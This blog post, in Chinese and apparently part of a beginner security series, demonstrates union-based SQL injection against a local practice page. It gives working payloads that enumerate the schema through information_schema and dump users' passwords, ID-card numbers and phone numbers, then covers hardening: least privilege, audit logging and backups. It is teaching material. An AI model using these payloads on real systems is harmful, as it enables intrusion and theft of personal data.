从零学网络安全 - 数据库安全与 SQL 注入(二)SQL 注入实战:联合查询

前情回顾

Union 查询(SQL 注⼊核心)

用于合并两个或多个 SELECT 语句的结果集,同时去除重复的记录。每个 SELECT 语句必须拥有相同数量的列,列的数据类型也必须兼容。

一、联合查询(UNION SELECT)实战

目标:获取全部用户的信息和密码

靶场原始页面显示信息

http://127.0.0.1/mysqltest/unionselect.php

image

1. 用 order by 判断字段数

  • 利用 SQL 的 ORDER BY N 语法。若N是有效列号,页面正常显示;若N无效,则数据库会返回报错信息。
  • 从1开始递增尝试(1,2,3...),直到页面出现报错,此时的数字即为字段数的临界点。

尝试到 order by 7 时报错,则说明该数据表共有6个字段。

SELECT * from users order by 7;

image

2. 用 union select 寻找回显位

  • 构造查询条件(如id=-1)让原SQL语句返回空结果,为拼接数据做准备。
  • 使用 UNION SELECT 拼接一串连续数字(如1,2,3...),数量需与字段数一致。
  • 页面上显示出的数字即为“回显位”,也就是前端页面展示数据的窗口位置。

例如这里页面上返回的是 name 字段,而 name 是第二列,所以回显位是2。

http://127.0.0.1/mysqltest/unionselect.php?id=-1 union select 1,2,3,4,5,6

image

3. 信息收集-库、表、字段

查库名(Database)

SELECT * from users where id=-1 -- 找数据库名
UNION
select 1,(select DATABASE()),3,4,5,6

得到数据库名为 school

image

查表名(Table_Name)

select * from users where id=-1 -- 找表名,用GROUP_CONCAT(expr)来拼接字段
UNION
select 1,(select group_concat(table_name) from information_schema.`TABLES` where table_schema='school'),3,4,5,6

得到有两个表,users 和 classes,我们选择 users 进行注入

image

查字段名(Column_Name)

select * from users where id=-1 -- 找列名,依然用GROUP_CONCAT(expr)
UNION
select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema='school' and table_name='users'

得到所有字段名

image

4. 获取隐藏的敏感数据

利用 CONCAT_WS 函数将ID、姓名、密码等多个字段合并为一个字符串,解决单回显位限制。

select * from users where id=-1
UNION
select 1,CONCAT_WS('·',id,name,password,id_card,phone),3,4,5,6 from users

得到所有信息

image

在 url 中注入

http://127.0.0.1/mysqltest/unionselect.php?id=-1 UNION select 1,CONCAT_WS('·',id,name,password,id_card,phone),3,4,5,6 from users

得到:

image

二、数据库安全加固策略

1. 最小权限原则

核心思想:权限“刚好够用”。

  • 为应用程序分配仅能完成其工作所需的最小权限集,避免过度授权。
  • 绝对禁止使用 root 等超级管理员权限账号运行应用程序,防止权限滥用与提权攻击。

创建独立用户:

CREATE USER 'appuser'@'localhost' IDENTIFIED BY '密码';

仅赋必要权限:

GRANT SELECT,INSERT,UPDATE ON school.* TO 'appuser';

2. 开启审计日志

开启通用日志

set global general_log=on;

查看日志位置

show variables like 'general_log_file';

安全审计与取证

记录所有 SQL 操作,用于行为追踪。即使遭遇攻击,也能通过日志分析黑客操作路径,是事后溯源的关键证据。

3. 数据备份

核心原则:3-2-1原则

  • 3份备份:原始数据 + 本地备份 + 异地备份。
  • 2种介质:硬盘 + 云盘(如本地硬盘+阿⾥云)。
  • 1份离线:⾄少1份备份不联网(如移动硬盘离线存放)。

4. 如何进行备份和恢复?

数据备份(Backup)

可视化工具(Navicat):右键数据库->转储SQL文件->结构和数据

命令行:

mysqldump-uroot-pschool>backup.sql

数据恢复(Restore)

可视化工具(Navicat):运行SQL文件->选择备份文件

命令行:

mysql-uroot-pschool<backup.sql
posted @ 2026-02-10 22:54  CloverChu  阅读(64)  评论(0)    收藏  举报